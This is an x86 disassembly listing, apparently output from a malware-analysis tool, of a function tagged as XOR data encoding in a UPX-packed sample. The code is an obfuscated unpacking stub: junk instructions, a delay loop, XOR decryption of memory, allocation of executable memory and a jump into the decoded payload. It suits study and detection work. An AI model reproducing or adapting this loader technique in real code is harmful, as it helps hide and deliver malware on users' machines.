Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1bc8f26c
mov edx, 0x564327fa
or edx, edx
mov eax, 0xa382bf9d
popal
mov edx, eax
dec edx
mov ebx, 0
mov esi, ecx
sub edx, 0x7a019275
mov edx, 0xe11d9cdc
mov edi, esi
sub eax, 0xc43ee8c7
add edx, 0x478c47cc
mov ecx, edi
mov eax, 0xe2181a0b
or edx, eax
inc ebx
mov eax, edx
sub eax, edx
add edx, 0x5a0f1970
cmp ebx, 0x1003c4b
jne 0x47afd3
and eax, edx
add edx, 0xf722bf79
mov edx, eax
cmp ebx, 0x1003c4b
je 0x47b027
mov ebx, 0
mov byte [ebx], al
mov eax, 0x5dd7e7fc
add edx, eax
or edx, edx
or edx, edx
or edx, edx
mov edi, 0x47ada2
sub ebx, 0x2efacacc
dec edx
not ecx
mov esi, 0x47af96
dec edx
or ebx, edx
mov eax, dword [edi]
sub ecx, 0xbf1d2480
dec ebx
and eax, 0xff
add ecx, ebx
sub ecx, 1
xor dword [esi], eax
sub edx, ecx
mov edx, ebx
inc esi
add ebx, 0x7435f604
mov edx, 0x326018fb
inc edi
add ebx, 0x3d7e4668
inc edx
and ebx, ecx
cmp esi, entry0
jl 0x47b04a
dec ebx
mov ecx, edx
dec ecx
add edx, 0xf0af154b
and ecx, ebx
dec edx
mov esi, 0xc74a1222
mov ebx, 0x47af9a
sub edi, 0x1bc06b4e
inc edi
mov ebx, dword [ebx]
mov esi, edi
add edx, esi
sub edi, esi
mov ebx, dword [ebx]
not esi
inc edx
sub esi, 0x54cc83d8
push ebx
add ecx, 1
add edx, 1
mov ebx, 0x47af96
sub ecx, 0x3fff5fc7
dec ecx
mov ebx, dword [ebx]
inc ecx
sub edx, esi
sub edx, esi
mov ebx, dword [ebx]
not esi
add edi, ecx
sub esp, 4
mov dword [esp], 0x47af9e
mov edi, esi
sub esi, 1
sub edx, edi
call ebx
dec edi
inc edx
not ecx
pop ebx
sub ecx, 0xb0171311
sub edi, 0xdaf0223c
mov esi, 0x3433b65a
push 0x47afab
mov esi, 0x6b88190
mov edi, ecx
push eax
add edx, 0xd223bdb
add ecx, 0x7c08a870
inc edx
call ebx
not esi
add edi, 0x2f51b6d4
or esi, ecx
push 0x40
dec edx
add ecx, ecx
mov edi, 0x84f7f3b5
sub esp, 4
mov dword [esp], 0x3000
dec edx
and edx, edi
push 0x20000dba
or ecx, ecx
add ecx, 1
sub edi, 1
push 0
or edx, ecx
sub esi, ecx
call eax
not edi
sub edi, edx
add eax, 0x20000d23
or esi, edx
dec edi
and esi, edi
mov ebx, 0x933535d4
mov edi, esi
dec edi
or ecx, esi
mov dword [eax], ebx
add esi, 0xd2ffa762
mov esi, 0xbdc0cf3c
mov ebx, dword [eax]
add edx, 1
not edi
cmp ebx, 0x933535d4
je 0x47b1a9
mov edx, 0
mov eax, dword [edx]
add edi, edi
sub edi, esi
mov edx, ecx
mov edi, ecx
mov esi, 0x5c94fa81
sub eax, 0xd402d5f6
and edx, edx
mov ecx, section.UPX1
mov eax, 0xc72c9c7
or edx, edx
mov esi, 0x47ada1
and edx, edx
add eax, 0x631d463c
mov edx, 0xe8d692d4
mov ebx, 0
or eax, eax
sub eax, 0x70c5e026
mov edi, 0x47ada2
mov edx, eax
add eax, 0x5a55bb4
mov edx, eax
lea edi, [edi + ebx]
or eax, edx
dec eax
add edx, eax
mov edi, dword [edi]
sub eax, 0x580c9e98
mov eax, edx
and edi, 0xff
mov edx, 0x89565afb
add eax, edx
add ebx, 1
mov edx, eax
mov eax, edx
cmp ebx, 0x1f4
jne 0x47b22e
mov ebx, 0
mov edx, 0xfef5d814
not edx
not edx
mov edx, 0x5101b146
sub eax, 1
xor dword [ecx], edi
or eax, eax
sub edx, 0x96e2e0eb
add ecx, 2
dec eax
add eax, 0x2b323fa1
or eax, eax
cmp ecx, esi
jl 0x47b1e9
inc edx
mov edx, eax
and eax, edx
and eax, edx
or eax, edx
add eax, edx
mov edi, section.UPX1
add esi, 0x5cc754d2
or esi, esi
mov edx, section.UPX1
mov ebx, 0xbdfa86f7
sub ebx, 0xce7351df
not esi
mov eax, 0x47ada1
dec esi
inc ebx
mov esi, ebx
mov ecx, 0
dec ebx
or esi, ebx
mov cl, byte [edx]
add ebx, 0x72cf4e7c
and ebx, esi
sub ebx, 0xbe7d832d
mov byte [edi], cl
add esi, 0xaf7143e0
inc esi
mov esi, ebx
inc edi
inc ebx
or esi, ebx
add edx, 2
add esi, esi
add ebx, 1
cmp edx, eax
jle 0x47b29e
dec esi
mov ebx, 0x979309b
not eax
or eax, edx
sub esp, 4
mov dword [esp], 0x45e6a0
sub edx, eax
sub edx, 0x3586ac9d
dec edx
ret